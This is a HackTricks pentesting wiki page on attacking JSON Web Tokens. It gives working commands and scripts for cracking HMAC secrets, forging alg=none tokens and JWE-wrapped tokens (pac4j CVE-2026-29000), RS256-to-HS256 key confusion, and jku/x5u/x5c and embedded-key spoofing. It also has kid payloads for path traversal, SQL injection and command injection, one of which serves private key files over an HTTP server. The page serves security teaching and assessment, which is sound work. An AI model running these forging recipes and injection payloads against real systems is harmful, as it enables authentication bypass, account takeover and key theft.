hacking-jwt-json-web-tokens.md (27209B)
1 --- 2 title: "JWT Vulnerabilities (JSON Web Tokens)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/hacking-jwt-json-web-tokens.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-jwt-json-web-tokens.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JWT Vulnerabilities (JSON Web Tokens) 14 15 Part of this page is based on the [**jwt_tool attack methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology).<sup>[[3]](#references)</sup> The same author maintains [**jwt_tool**](https://github.com/ticarpi/jwt_tool) for JWT assessment. 16 17 ### **Quick Wins** 18 19 Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines 20 21 ```bash 22 python3 jwt_tool.py -M at \ 23 -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ 24 -rh "Authorization: Bearer eyJhbG...<JWT Token>" 25 ``` 26 27 If you are lucky the tool will find some case where the web application is incorrectly checking the JWT: 28 29  30 31 Then, you can search the request in your proxy or dump the used JWT for that request using jwt\_ tool: 32 33 ```bash 34 python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" 35 ``` 36 37 You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp. 38 39 ### Practical JWT assessment workflow 40 41 - **Scope the session control**: Pick a user-specific request (e.g., profile, billing). Remove cookies/headers one at a time until the request is rejected to isolate which token(s) actually gate authorization. 42 - **Locate JWTs in traffic**: They often sit in `Authorization: Bearer <JWT>`, but also appear in custom headers or cookies. If Burp doesn’t highlight them, use Target → Site map → Engagement tools → Search with regex patterns such as: 43 - `[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*` 44 - `eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+` 45 - `[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*` 46 - **Decode and enumerate**: Use Burp **JWT Editor** or `python3 jwt_tool.py <JWT>` to read header/payload. Note `alg`, `exp`/token lifetime, and authn/authz-driving claims (`role`, `id`, `username`, `email`, etc.). 47 - **Signature enforcement sanity check**: Flip or delete a few bytes in the signature portion and replay. Acceptance implies missing signature validation and you can directly tamper payload claims. 48 - **Goal**: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection.<sup>[[4]](#references)</sup> 49 50 ### Tamper data without modifying anything 51 52 You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example. 53 54 #### **Is the token checked?** 55 56 To check if a JWT's signature is being verified: 57 58 - An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed. 59 - A change in the returned page also indicates verification. 60 - No change suggests no verification; this is when to experiment with tampering payload claims. 61 62 ### Origin 63 64 It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history. 65 66 - Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation. 67 - Tokens originating server-side indicate a secure process. 68 69 ### Duration 70 71 Check whether the token lasts more than 24 hours or never expires. If it contains an `exp` field, verify that the server enforces it correctly. 72 73 ### Brute-force HMAC secret 74 75 [**See this page.**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#jwt) 76 77 If the header uses **HS256**, dump the token to a file and try offline cracking: 78 79 ```bash 80 python3 jwt_tool.py <JWT> -C -d wordlist.txt 81 hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule 82 ``` 83 84 Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims.<sup>[[4]](#references)</sup> 85 86 ### Derive JWT secrets from leaked config + DB data 87 88 If an arbitrary file read (or backup leak) exposes both **application encryption material** and **user records**, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:<sup>[[1]](#references)</sup> 89 90 1. Leak the app key (e.g., `encryptionKey`) from a config file. 91 2. Leak the user table to obtain `email`, `password_hash`, and `user_id`. 92 3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload: 93 94 ```python 95 jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key 96 jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10] 97 token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256") 98 ``` 99 100 4. Drop the signed token into the session cookie (e.g., `n8n-auth`) to impersonate the user/admin account even if the password hash is salted. 101 102 ### Modify the algorithm to None 103 104 Set the algorithm used as "None" and remove the signature part. 105 106 Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None"). 107 108 ### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000) 109 110 Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup> 111 112 - **Pre-reqs**: 113 - The application accepts **JWE bearer tokens** 114 - The server public key is exposed (commonly via **JWKS** such as `/.well-known/jwks.json` or `/api/auth/jwks`) 115 - Authorization depends on attacker-controlled claims such as `sub`, `role`, `groups`, or `scope` 116 - **Impact**: forge an encrypted token for any user/role using **only the public key** 117 118 Practical checks: 119 120 - Enumerate the frontend / API docs for clues such as `RSA-OAEP-256`, `A128GCM`/`A256GCM`, `jwks`, or comments saying "inner JWT is signed". 121 - Fetch the JWKS and import the RSA key from `n`/`e`. 122 - Build the inner token manually as `base64url(header) + "." + base64url(payload) + "."` so the signature is empty. 123 - Encrypt that plaintext JWT as a JWE using the exposed public key and replay it as the bearer token. 124 125 Minimal PlainJWT construction: 126 127 ```python 128 header = {"alg": "none"} 129 claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"} 130 b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=") 131 plain = ( 132 f"{b64(json.dumps(header, separators=(',', ':')).encode())}." 133 f"{b64(json.dumps(claims, separators=(',', ':')).encode())}." 134 ) 135 ``` 136 137 Encrypt it into a compact JWE with the RSA public key from JWKS: 138 139 ```python 140 rsa_key = jwk.JWK(**jwks["keys"][0]) 141 token = jwe.JWE( 142 plaintext=plain.encode(), 143 protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}), 144 recipient=rsa_key, 145 ) 146 forged = token.serialize(compact=True) 147 ``` 148 149 Notes: 150 151 - If your JWT library refuses to emit `alg=none`, generate the compact token manually as shown above. 152 - The `enc` value must match one accepted by the target; frontend comments and legitimate tokens often disclose this. 153 - In SPAs, check whether the bearer token is stored in `sessionStorage`, `localStorage`, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly. 154 155 ### Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) 156 157 The algorithm HS256 uses the secret key to sign and verify each message.\ 158 The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. 159 160 If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. 161 162 Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this: 163 164 ```bash 165 openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. 166 openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem 167 ``` 168 169 Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.json` or a PEM) and run **Attack → HMAC Key Confusion Attack** to automate the HS256 re-sign attempt.<sup>[[4]](#references)</sup> 170 171 #### Passive triage for RS256→HS256 confusion in PAN-OS / GlobalProtect CAS (CVE-2026-0265) 172 173 A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens.<sup>[[7]](#references)</sup><sup>[[8]](#references)</sup> 174 175 For **Palo Alto PAN-OS / GlobalProtect** with **Cloud Authentication Service (CAS)** attached to the authentication profile, the exposed GlobalProtect prelogin flow gives enough unauthenticated data to do a **safe passive triage** without forging a token. 176 177 1. Request the anonymous prelogin endpoint: 178 179 ```http 180 GET /global-protect/prelogin.esp HTTP/1.1 181 Host: <target> 182 ``` 183 184 2. Parse the XML response: 185 - `<cas-auth>yes</cas-auth>` means the vulnerable CAS-backed verification path is reachable. 186 - If `cas-auth` is `no`, empty, or absent, treat the result as **not vulnerable or inconclusive** rather than guessing. Missing fields commonly mean mTLS, client-version/User-Agent gating, or that the host is not really a GlobalProtect portal. 187 188 3. Recover the PAN-OS build from the embedded JWT inside `<saml-request>`: 189 - Base64-decode `<saml-request>` to recover the auto-submit HTML form. 190 - Extract the hidden `Token` value (`HEADER.PAYLOAD.SIGNATURE`). 191 - Base64url-decode `PAYLOAD` and read the `PanOSversion` claim. 192 - Treat a trailing `.saas` suffix as **cloud-managed / not affected** for this case. 193 194 Minimal extraction flow: 195 196 ```bash 197 curl -sk 'https://<target>/global-protect/prelogin.esp' > prelogin.xml 198 python3 - <<'EOF' 199 import base64, html, json, re 200 xml = open('prelogin.xml', 'r', encoding='utf-8', errors='ignore').read() 201 cas = re.search(r'<cas-auth>(.*?)</cas-auth>', xml, re.S) 202 print('cas-auth =', cas.group(1).strip() if cas else 'missing') 203 enc = re.search(r'<saml-request>(.*?)</saml-request>', xml, re.S) 204 if enc: 205 form = base64.b64decode(html.unescape(enc.group(1))).decode('utf-8', 'ignore') 206 token = re.search(r'name="Token"\s+value="([^"]+)"', form) 207 if token: 208 payload = token.group(1).split('.')[1] 209 payload += '=' * (-len(payload) % 4) 210 claims = json.loads(base64.urlsafe_b64decode(payload)) 211 print('PanOSversion =', claims.get('PanOSversion')) 212 print('SN =', claims.get('SN')) 213 print('TID =', claims.get('TID')) 214 EOF 215 ``` 216 217 4. Compare the extracted version against the vendor hotfix matrix instead of relying on banners or TLS metadata. Examples from the PAN-OS advisory: 218 - `11.1.6-h32` → fixed for base `11.1.6` 219 - `11.1.6-h23` → vulnerable 220 - `11.2.7-h9` → vulnerable because the fixed hotfix is `h13` 221 - `11.1.15` → fixed base release 222 223 Other assessment notes: 224 - The same external SSO path, `/SAML20/SP/ACS`, can terminate in **different privileged backends** depending on the listener. On GlobalProtect it leads to the VPN login flow; on the management interface it leads to administrator authentication. Always map shared SSO paths to every backend they can reach. 225 - The decoded prelogin JWT may also leak useful posture data such as the appliance serial number (`SN`), tenant identifier (`TID`), callback URL, and CAS region endpoint. 226 - The official mitigation is to **pin the expected algorithm server-side** and reject HMAC verification when the supplied key material is an asymmetric public key / PEM blob. 227 228 ### New public key inside the header 229 230 An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114). 231 232 This can be done with the "JSON Web Tokens" Burp extension.\ 233 (Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request). 234 235 ### JWKS Spoofing 236 237 The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification. 238 239 - **Assessing Tokens with "jku" Header**: 240 - Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file. 241 - Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation. 242 - **Monitoring for HTTP Interaction**: 243 - Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link. 244 - When employing `jwt_tool` for this process, it's crucial to update the `jwtconf.ini` file with your personal JWKS location to facilitate the testing. 245 - **Command for `jwt_tool`**: 246 247 - Execute the following command to simulate the scenario with `jwt_tool`: 248 249 ```bash 250 python3 jwt_tool.py JWT_HERE -X s 251 ``` 252 253 ### Kid Issues Overview 254 255 An optional header claim known as `kid` is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature. 256 257 #### Revealing Key through "kid" 258 259 When the `kid` claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if `"kid":"key/12345"` is specified, the files _/key/12345_ and _/key/12345.pem_ should be searched for in the web root. 260 261 #### Path Traversal with "kid" 262 263 The `kid` claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the `kid` value to target specific files or services. Tampering with the JWT to change the `kid` value while retaining the original signature can be achieved using the `-T` flag in jwt_tool, as demonstrated below: 264 265 ```bash 266 python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" 267 ``` 268 269 By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. 270 271 A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK `k` set to `AA==`, set `kid` to a traversal like `../../../../../../../dev/null`, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.<sup>[[4]](#references)</sup> 272 273 #### SQL Injection via "kid" 274 275 If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: 276 277 `non-existent-index' UNION SELECT 'ATTACKER';-- -` 278 279 This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing. 280 281 #### OS Injection through "kid" 282 283 A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: 284 285 `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` 286 287 ### x5u and jku 288 289 #### jku 290 291 jku stands for **JWK Set URL**.\ 292 If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. 293 294 First you need to create a new certificate with new private & public keys 295 296 ```bash 297 openssl genrsa -out keypair.pem 2048 298 openssl rsa -in keypair.pem -pubout -out publickey.crt 299 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key 300 ``` 301 302 Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **created public and private keys and pointing the parameter jku to the certificate created.** In order to create a valid jku certificate you can download the original one anche change the needed parameters. 303 304 You can obtain the parametes "e" and "n" from a public certificate using: 305 306 ```bash 307 from Crypto.PublicKey import RSA 308 fp = open("publickey.crt", "r") 309 key = RSA.importKey(fp.read()) 310 fp.close() 311 print("n:", hex(key.n)) 312 print("e:", hex(key.e)) 313 ``` 314 315 If the verifier fetches key material remotely, embed a Burp Collaborator URL in `jku`/`x5u` using **JWT Editor → Attack → Embed Collaborator payload**. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.<sup>[[4]](#references)</sup> 316 317 #### x5u 318 319 X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates. 320 321 Try to **change this header to an URL under your control** and check if any request is received. In that case you **could tamper the JWT**. 322 323 To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys: 324 325 ```bash 326 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt 327 openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem 328 ``` 329 330 Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **created public and private keys and pointing the parameter x5u to the certificate .crt created.** 331 332  333 334 You can also abuse both of these vulns **for SSRFs**. 335 336 #### x5c 337 338 This parameter may contain the **certificate in base64**: 339 340  341 342 If the attacker **generates a self-signed certificate** and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server. 343 344 ```bash 345 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt 346 openssl x509 -in attacker.crt -text 347 ``` 348 349 ### Embedded Public Key (CVE-2018-0114) 350 351 If the JWT has embedded a public key like in the following scenario: 352 353  354 355 Using the following nodejs script it's possible to generate a public key from that data: 356 357 ```bash 358 const NodeRSA = require('node-rsa'); 359 const fs = require('fs'); 360 n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"; 361 e = "AQAB"; 362 const key = new NodeRSA(); 363 var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); 364 console.log(importedKey.exportKey("public")); 365 ``` 366 367 It's possible to generate a new private/public key, embeded the new public key inside the token and use it to generate a new signature: 368 369 ```bash 370 openssl genrsa -out keypair.pem 2048 371 openssl rsa -in keypair.pem -pubout -out publickey.crt 372 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key 373 ``` 374 375 You can obtain the "n" and "e" using this nodejs script: 376 377 ```bash 378 const NodeRSA = require('node-rsa'); 379 const fs = require('fs'); 380 keyPair = fs.readFileSync("keypair.pem"); 381 const key = new NodeRSA(keyPair); 382 const publicComponents = key.exportKey('components-public'); 383 console.log('Parameter n: ', publicComponents.n.toString("hex")); 384 console.log('Parameter e: ', publicComponents.e.toString(16)); 385 ``` 386 387 Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. 388 389 ### ES256: Revealing the private key with same nonce 390 391 If an application uses ES256 but reuses the same nonce to generate two JWTs, the private key can be recovered. 392 393 See this [ECDSA nonce-reuse example with secp256k1](https://asecuritysite.com/encryption/ecd5). 394 395 ### JTI (JWT ID) 396 397 The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.\ 398 However, if the maximum ID space is four decimal digits (`0001`–`9999`), requests 0001 and 10001 may reuse the same ID. If the back end increments the ID on each request, an attacker may be able to **replay a request** after forcing 10,000 intervening requests. 399 400 ### JWT Registered claims 401 402 403 [Jwt.Xhtml#Claims](https%3A//www.iana.org/assignments/jwt/jwt.xhtml%23claims) 404 405 ### Other attacks 406 407 **Cross-service Relay Attacks** 408 409 It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted. 410 411 - A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area. 412 413 **Expiry Check of Tokens** 414 415 The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag. 416 417 - A security risk may be present if the application still validates the token, as it may imply that the token could never expire. 418 419 ### Tools 420 421 - [jwt_tool](https://github.com/ticarpi/jwt_tool) – decoding, claim/header tampering, offline secret cracking (`-C`) and semi-automated attack modes (`-M at`). 422 - [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**).<sup>[[2]](#references)</sup> 423 - [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.<sup>[[4]](#references)</sup> 424 425 426 [Jwt Tool](https%3A//github.com/ticarpi/jwt_tool) 427 428 ## References 429 430 - [1] [n8n token forge chain – config+DB leak to JWT signing secret](https://github.com/Chocapikk/CVE-2026-21858) 431 - [2] [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) 432 - [3] [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) 433 - [4] [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) 434 - [5] [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) 435 - [6] [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) 436 - [7] [Bishop Fox - Detecting CVE-2026-0265 at Scale: PAN-OS CAS Authentication Bypass](https://bishopfox.com/blog/detecting-cve-2026-0265-at-scale-pan-os-cas-authentication-bypass) 437 - [8] [Palo Alto Networks Advisory - CVE-2026-0265 PAN-OS: Authentication Bypass with Cloud Authentication Service (CAS) enabled](https://security.paloaltonetworks.com/CVE-2026-0265)